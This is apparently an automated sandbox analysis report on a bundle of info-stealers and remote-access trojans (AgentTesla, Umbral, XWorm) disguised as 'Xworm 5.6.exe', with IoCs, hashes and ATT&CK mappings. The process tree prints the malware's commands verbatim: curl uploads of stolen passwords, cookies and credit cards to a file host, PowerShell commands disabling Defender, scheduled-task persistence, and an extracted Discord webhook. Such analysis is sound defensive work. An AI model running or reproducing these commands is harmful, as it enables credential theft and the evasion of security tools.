agenttesla | 685b97041f1aa3e082b9816c798c7b9adeceb630ca63634035cf4fc4cbcc4cab

Analysis

max time kernel
598s
max time network
415s
platform
windows10-2004_x64
resource
win10v2004-20240709-uk
resource tags

arch:x64arch:x86image:win10v2004-20240709-uklocale:uk-uaos:windows10-2004-x64systemwindows
submitted
21-07-2024 14:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Xworm-V5.6/Xworm 5.6.exe
Size

31.5MB
MD5

034f44acd00471fc4a78f212c40c0fe0
SHA1

a59dfec703be202f3981a2de64f7674baf030648
SHA256

f4b8369ca881ac2fc254a79bc8b42dbed81019ac2a518b40eb2b6cd8e22cf30f
SHA512

37d6ffb0c6a2de1261f269e61bfc0905d4f49c68a34535d70b677dd660d6845e82eae5bed167e52c52f5c9b04e4d281b9693cb8b62c7311d2ac1cfddb00c81be
SSDEEP

393216:vuyIhhkRka4i8EkZQVBl86ODlHTE9Nj+CEDJKRW3I1KpnP2elMOdN6:2yshkqNhQVj86OpgeCEDJKRWPpB4

Score

10^/10

agenttesla umbral xworm execution keylogger persistence pyinstaller rat spyware stealer trojan

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1258826865888460840/AXNa-UDvvfmqdXbJtKI0nZsn0JGhgOBB1NuYxdFsJJVOw3zMA2BHwMqXF6N6AKQECFC6

Extracted

Family

xworm

127.0.0.1:43101

Attributes

Install_directory
%Public%
install_file
BSOD.exe

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Detect Umbral payload 3 IoCs

resource	yara_rule
behavioral7/files/0x00080000000234af-44.dat	family_umbral
behavioral7/memory/2288-82-0x00000241FC480000-0x00000241FC4C0000-memory.dmp	family_umbral
behavioral7/memory/3892-107-0x0000000000400000-0x000000000237D000-memory.dmp	family_umbral

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral7/files/0x0007000000023695-103.dat	family_xworm
behavioral7/memory/1940-113-0x0000000000CD0000-0x0000000000CEA000-memory.dmp	family_xworm

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

AgentTesla payload 1 IoCs

resource	yara_rule
behavioral7/memory/4268-262-0x0000015E6A480000-0x0000015E6A674000-memory.dmp	family_agenttesla

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
880	powershell.exe
3900	powershell.exe
2312	powershell.exe
3264	powershell.exe
728	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	Xworm 5.6.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	XWorm.exe

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	creal.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BSOD.lnk	XWorm.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BSOD.lnk	XWorm.exe

Executes dropped EXE 16 IoCs

pid	Process
4268	Xworm.exe
64	creal.exe
2288	Umbral.exe
1940	XWorm.exe
2896	XWorm.exe
1812	creal.exe
2708	BSOD.exe
1812	BSOD.exe
4300	BSOD.exe
2976	BSOD.exe
3640	BSOD.exe
2088	BSOD.exe
1376	BSOD.exe
2972	BSOD.exe
536	BSOD.exe
4676	BSOD.exe

Loads dropped DLL 42 IoCs

pid	Process
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe
1812	creal.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BSOD = "C:\\Users\\Public\\BSOD.exe"	XWorm.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 26 IoCs

Web Service

T1102

flow	ioc
97	discord.com
102	discord.com
104	discord.com
105	discord.com
93	discord.com
94	discord.com
96	discord.com
98	discord.com
101	discord.com
103	discord.com
45	discord.com
70	discord.com
86	discord.com
84	discord.com
106	discord.com
46	discord.com
78	discord.com
108	discord.com
67	discord.com
83	discord.com
91	discord.com
92	discord.com
95	discord.com
69	discord.com
77	discord.com
107	discord.com

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
32	api.ipify.org
33	api.ipify.org
42	ip-api.com
30	ip-api.com

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\XWorm.exe	Xworm 5.6.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral7/files/0x00080000000234ae-16.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1228	wmic.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
3968	tasklist.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Xworm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Xworm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	Xworm.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4840	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1568	schtasks.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
2288	Umbral.exe
2288	Umbral.exe
3264	powershell.exe
3264	powershell.exe
3264	powershell.exe
3960	powershell.exe
3960	powershell.exe
3960	powershell.exe
3524	powershell.exe
3524	powershell.exe
3524	powershell.exe
8	powershell.exe
8	powershell.exe
8	powershell.exe
728	powershell.exe
728	powershell.exe
728	powershell.exe
880	powershell.exe
880	powershell.exe
880	powershell.exe
3900	powershell.exe
3900	powershell.exe
3900	powershell.exe
4504	powershell.exe
4504	powershell.exe
2312	powershell.exe
2312	powershell.exe
4504	powershell.exe
2312	powershell.exe
1940	XWorm.exe
1940	XWorm.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1940	XWorm.exe
Token: SeDebugPrivilege	2896	XWorm.exe
Token: SeDebugPrivilege	2288	Umbral.exe
Token: SeIncreaseQuotaPrivilege	3132	wmic.exe
Token: SeSecurityPrivilege	3132	wmic.exe
Token: SeTakeOwnershipPrivilege	3132	wmic.exe
Token: SeLoadDriverPrivilege	3132	wmic.exe
Token: SeSystemProfilePrivilege	3132	wmic.exe
Token: SeSystemtimePrivilege	3132	wmic.exe
Token: SeProfSingleProcessPrivilege	3132	wmic.exe
Token: SeIncBasePriorityPrivilege	3132	wmic.exe
Token: SeCreatePagefilePrivilege	3132	wmic.exe
Token: SeBackupPrivilege	3132	wmic.exe
Token: SeRestorePrivilege	3132	wmic.exe
Token: SeShutdownPrivilege	3132	wmic.exe
Token: SeDebugPrivilege	3132	wmic.exe
Token: SeSystemEnvironmentPrivilege	3132	wmic.exe
Token: SeRemoteShutdownPrivilege	3132	wmic.exe
Token: SeUndockPrivilege	3132	wmic.exe
Token: SeManageVolumePrivilege	3132	wmic.exe
Token: 33	3132	wmic.exe
Token: 34	3132	wmic.exe
Token: 35	3132	wmic.exe
Token: 36	3132	wmic.exe
Token: SeIncreaseQuotaPrivilege	3132	wmic.exe
Token: SeSecurityPrivilege	3132	wmic.exe
Token: SeTakeOwnershipPrivilege	3132	wmic.exe
Token: SeLoadDriverPrivilege	3132	wmic.exe
Token: SeSystemProfilePrivilege	3132	wmic.exe
Token: SeSystemtimePrivilege	3132	wmic.exe
Token: SeProfSingleProcessPrivilege	3132	wmic.exe
Token: SeIncBasePriorityPrivilege	3132	wmic.exe
Token: SeCreatePagefilePrivilege	3132	wmic.exe
Token: SeBackupPrivilege	3132	wmic.exe
Token: SeRestorePrivilege	3132	wmic.exe
Token: SeShutdownPrivilege	3132	wmic.exe
Token: SeDebugPrivilege	3132	wmic.exe
Token: SeSystemEnvironmentPrivilege	3132	wmic.exe
Token: SeRemoteShutdownPrivilege	3132	wmic.exe
Token: SeUndockPrivilege	3132	wmic.exe
Token: SeManageVolumePrivilege	3132	wmic.exe
Token: 33	3132	wmic.exe
Token: 34	3132	wmic.exe
Token: 35	3132	wmic.exe
Token: 36	3132	wmic.exe
Token: SeDebugPrivilege	3968	tasklist.exe
Token: SeDebugPrivilege	3264	powershell.exe
Token: SeDebugPrivilege	3960	powershell.exe
Token: SeDebugPrivilege	3524	powershell.exe
Token: SeDebugPrivilege	8	powershell.exe
Token: SeDebugPrivilege	728	powershell.exe
Token: SeDebugPrivilege	880	powershell.exe
Token: SeIncreaseQuotaPrivilege	3224	wmic.exe
Token: SeSecurityPrivilege	3224	wmic.exe
Token: SeTakeOwnershipPrivilege	3224	wmic.exe
Token: SeLoadDriverPrivilege	3224	wmic.exe
Token: SeSystemProfilePrivilege	3224	wmic.exe
Token: SeSystemtimePrivilege	3224	wmic.exe
Token: SeProfSingleProcessPrivilege	3224	wmic.exe
Token: SeIncBasePriorityPrivilege	3224	wmic.exe
Token: SeCreatePagefilePrivilege	3224	wmic.exe
Token: SeBackupPrivilege	3224	wmic.exe
Token: SeRestorePrivilege	3224	wmic.exe
Token: SeShutdownPrivilege	3224	wmic.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1940	XWorm.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3892 wrote to memory of 4268	3892	Xworm 5.6.exe	85
PID 3892 wrote to memory of 4268	3892	Xworm 5.6.exe	85
PID 3892 wrote to memory of 64	3892	Xworm 5.6.exe	88
PID 3892 wrote to memory of 64	3892	Xworm 5.6.exe	88
PID 3892 wrote to memory of 2288	3892	Xworm 5.6.exe	89
PID 3892 wrote to memory of 2288	3892	Xworm 5.6.exe	89
PID 3892 wrote to memory of 1940	3892	Xworm 5.6.exe	90
PID 3892 wrote to memory of 1940	3892	Xworm 5.6.exe	90
PID 3892 wrote to memory of 2896	3892	Xworm 5.6.exe	91
PID 3892 wrote to memory of 2896	3892	Xworm 5.6.exe	91
PID 2288 wrote to memory of 3132	2288	Umbral.exe	94
PID 2288 wrote to memory of 3132	2288	Umbral.exe	94
PID 64 wrote to memory of 1812	64	creal.exe	96
PID 64 wrote to memory of 1812	64	creal.exe	96
PID 1812 wrote to memory of 4288	1812	creal.exe	97
PID 1812 wrote to memory of 4288	1812	creal.exe	97
PID 4288 wrote to memory of 3968	4288	cmd.exe	99
PID 4288 wrote to memory of 3968	4288	cmd.exe	99
PID 2288 wrote to memory of 4300	2288	Umbral.exe	100
PID 2288 wrote to memory of 4300	2288	Umbral.exe	100
PID 2288 wrote to memory of 3264	2288	Umbral.exe	102
PID 2288 wrote to memory of 3264	2288	Umbral.exe	102
PID 2288 wrote to memory of 3960	2288	Umbral.exe	104
PID 2288 wrote to memory of 3960	2288	Umbral.exe	104
PID 2288 wrote to memory of 3524	2288	Umbral.exe	106
PID 2288 wrote to memory of 3524	2288	Umbral.exe	106
PID 2288 wrote to memory of 8	2288	Umbral.exe	109
PID 2288 wrote to memory of 8	2288	Umbral.exe	109
PID 1940 wrote to memory of 728	1940	XWorm.exe	111
PID 1940 wrote to memory of 728	1940	XWorm.exe	111
PID 1940 wrote to memory of 880	1940	XWorm.exe	113
PID 1940 wrote to memory of 880	1940	XWorm.exe	113
PID 2288 wrote to memory of 3224	2288	Umbral.exe	116
PID 2288 wrote to memory of 3224	2288	Umbral.exe	116
PID 1940 wrote to memory of 3900	1940	XWorm.exe	118
PID 1940 wrote to memory of 3900	1940	XWorm.exe	118
PID 2288 wrote to memory of 5016	2288	Umbral.exe	120
PID 2288 wrote to memory of 5016	2288	Umbral.exe	120
PID 2288 wrote to memory of 3940	2288	Umbral.exe	122
PID 2288 wrote to memory of 3940	2288	Umbral.exe	122
PID 1940 wrote to memory of 2312	1940	XWorm.exe	124
PID 1940 wrote to memory of 2312	1940	XWorm.exe	124
PID 2288 wrote to memory of 4504	2288	Umbral.exe	126
PID 2288 wrote to memory of 4504	2288	Umbral.exe	126
PID 2288 wrote to memory of 1228	2288	Umbral.exe	128
PID 2288 wrote to memory of 1228	2288	Umbral.exe	128
PID 1940 wrote to memory of 1568	1940	XWorm.exe	130
PID 1940 wrote to memory of 1568	1940	XWorm.exe	130
PID 2288 wrote to memory of 5064	2288	Umbral.exe	132
PID 2288 wrote to memory of 5064	2288	Umbral.exe	132
PID 5064 wrote to memory of 4840	5064	cmd.exe	134
PID 5064 wrote to memory of 4840	5064	cmd.exe	134
PID 1812 wrote to memory of 4868	1812	creal.exe	137
PID 1812 wrote to memory of 4868	1812	creal.exe	137
PID 4868 wrote to memory of 2684	4868	cmd.exe	139
PID 4868 wrote to memory of 2684	4868	cmd.exe	139
PID 1812 wrote to memory of 4116	1812	creal.exe	142
PID 1812 wrote to memory of 4116	1812	creal.exe	142
PID 4116 wrote to memory of 3272	4116	cmd.exe	144
PID 4116 wrote to memory of 3272	4116	cmd.exe	144
PID 1812 wrote to memory of 4492	1812	creal.exe	145
PID 1812 wrote to memory of 4492	1812	creal.exe	145
PID 4492 wrote to memory of 2228	4492	cmd.exe	147
PID 4492 wrote to memory of 2228	4492	cmd.exe	147

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4300	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Xworm-V5.6\Xworm 5.6.exe
"C:\Users\Admin\AppData\Local\Temp\Xworm-V5.6\Xworm 5.6.exe"
1⤵
- Checks computer location settings
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:3892
- C:\Users\Admin\AppData\Local\Temp\Xworm-V5.6\Xworm.exe
  "C:\Users\Admin\AppData\Local\Temp\Xworm-V5.6\Xworm.exe"
  2⤵
  - Executes dropped EXE
  - Enumerates system info in registry
  PID:4268
- C:\Users\Admin\AppData\Local\Temp\creal.exe
  "C:\Users\Admin\AppData\Local\Temp\creal.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:64
- - C:\Users\Admin\AppData\Local\Temp\creal.exe
    "C:\Users\Admin\AppData\Local\Temp\creal.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1812
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4288
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3968
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4868
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
        5⤵
        
        PID:2684
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4116
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
        5⤵
        
        PID:3272
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4492
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
        5⤵
        
        PID:2228
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
      4⤵
      PID:1568
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
        5⤵
        
        PID:4396
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
      4⤵
      PID:1868
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
        5⤵
        
        PID:4736
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
      4⤵
      PID:2636
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
        5⤵
        
        PID:4544
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Downloads/BackupSave.mhtml" https://store4.gofile.io/uploadFile"
      4⤵
      PID:3772
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin/Downloads/BackupSave.mhtml" https://store4.gofile.io/uploadFile
        5⤵
        
        PID:4668
- C:\Users\Admin\AppData\Local\Temp\Umbral.exe
  "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2288
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3132
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Views/modifies file attributes
    PID:4300
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:8
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3224
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:5016
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:3940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4504
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1228
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5064
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      Runs ping.exe
      PID:4840
- C:\Users\Admin\AppData\Local\Temp\XWorm.exe
  "C:\Users\Admin\AppData\Local\Temp\XWorm.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XWorm.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XWorm.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\BSOD.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'BSOD.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2312
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "BSOD" /tr "C:\Users\Public\BSOD.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1568
- C:\Windows\XWorm.exe
  "C:\Windows\XWorm.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2896

C:\Users\Public\BSOD.exe
C:\Users\Public\BSOD.exe
1⤵
- Executes dropped EXE
PID:2708

C:\Users\Public\BSOD.exe
C:\Users\Public\BSOD.exe
1⤵
- Executes dropped EXE
PID:1812

C:\Users\Public\BSOD.exe
C:\Users\Public\BSOD.exe
1⤵
- Executes dropped EXE
PID:4300

C:\Users\Public\BSOD.exe
C:\Users\Public\BSOD.exe
1⤵
- Executes dropped EXE
PID:2976

C:\Users\Public\BSOD.exe
C:\Users\Public\BSOD.exe
1⤵
- Executes dropped EXE
PID:3640

C:\Users\Public\BSOD.exe
C:\Users\Public\BSOD.exe
1⤵
- Executes dropped EXE
PID:2088

C:\Users\Public\BSOD.exe
C:\Users\Public\BSOD.exe
1⤵
- Executes dropped EXE
PID:1376

C:\Users\Public\BSOD.exe
C:\Users\Public\BSOD.exe
1⤵
- Executes dropped EXE
PID:2972

C:\Users\Public\BSOD.exe
C:\Users\Public\BSOD.exe
1⤵
- Executes dropped EXE
PID:536

C:\Users\Public\BSOD.exe
C:\Users\Public\BSOD.exe
1⤵
- Executes dropped EXE
PID:4676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
228KB

MD5
7490f7cc7fe56a351ec6228d6f976b7e

SHA1
25d3d77daf555fafa4ee74bf2552c803ddef0316

SHA256
fdea303425206b38a5f142cf735dd2728bb4ac7665b8172f620166f0a982d756

SHA512
33121e5bb96dcfc6cd59a404b5e04d590b6595ffa5b90313581ad53d92be7bba3375602fd1e9219d60aba220048b928ef0c3539bde87545d922847b666c12b37

Download Submit
C:\Users\Admin\AppData\Local\Temp\XWorm.exe

Filesize
76KB

MD5
22a651585671941246f81eabab2cb188

SHA1
dcb70291a0efcf53506cb357b44aec24e9bc3f52

SHA256
5673aa81d09dc3c06b606e056e02b8488591620d7119e8e296fdec6994c7755e

SHA512
24f68d8a7961cde225a22c28515cd9bc3d3479243ba73ea9601faa323dbf657eb7ae77194d8b1cd52dae3d84b5604881d169dafdfbcfb8d02b22c030298aff7c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Xworm-V5.6\Xworm.exe

Filesize
14.9MB

MD5
56ccb739926a725e78a7acf9af52c4bb

SHA1
5b01b90137871c3c8f0d04f510c4d56b23932cbc

SHA256
90f58865f265722ab007abb25074b3fc4916e927402552c6be17ef9afac96405

SHA512
2fee662bc4a1a36ce7328b23f991fa4a383b628839e403d6eb6a9533084b17699a6c939509867a86e803aafef2f9def98fa9305b576dad754aa7f599920c19a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI642\VCRUNTIME140.dll

Filesize
93KB

MD5
ade7aac069131f54e4294f722c17a412

SHA1
fede04724bdd280dae2c3ce04db0fe5f6e54988d

SHA256
92d50f7c4055718812cd3d823aa2821d6718eb55d2ab2bac55c2e47260c25a76

SHA512
76a810a41eb739fba2b4c437ed72eda400e71e3089f24c79bdabcb8aab0148d80bd6823849e5392140f423addb7613f0fc83895b9c01e85888d774e0596fc048

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI642\VCRUNTIME140_1.dll

Filesize
35KB

MD5
4dc09ca657822c2e8160255f767597df

SHA1
d1a553e6cad4600020113fe2887f5deb0db588c8

SHA256
922124ba0821aa864a0261ed88bd25f8e40f94c24d00d389e23cd9ab2bfc6ba4

SHA512
1504a4c32aefb58b20bfeab4f6e45ddb1b4feb08cfc9b6098b0e0b8d770d2ec5cd53a0506f212a2d4f406a1f6aae5bb03bfe8b87f55a61671e9cbbf684d77e19

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI642\_bz2.pyd

Filesize
85KB

MD5
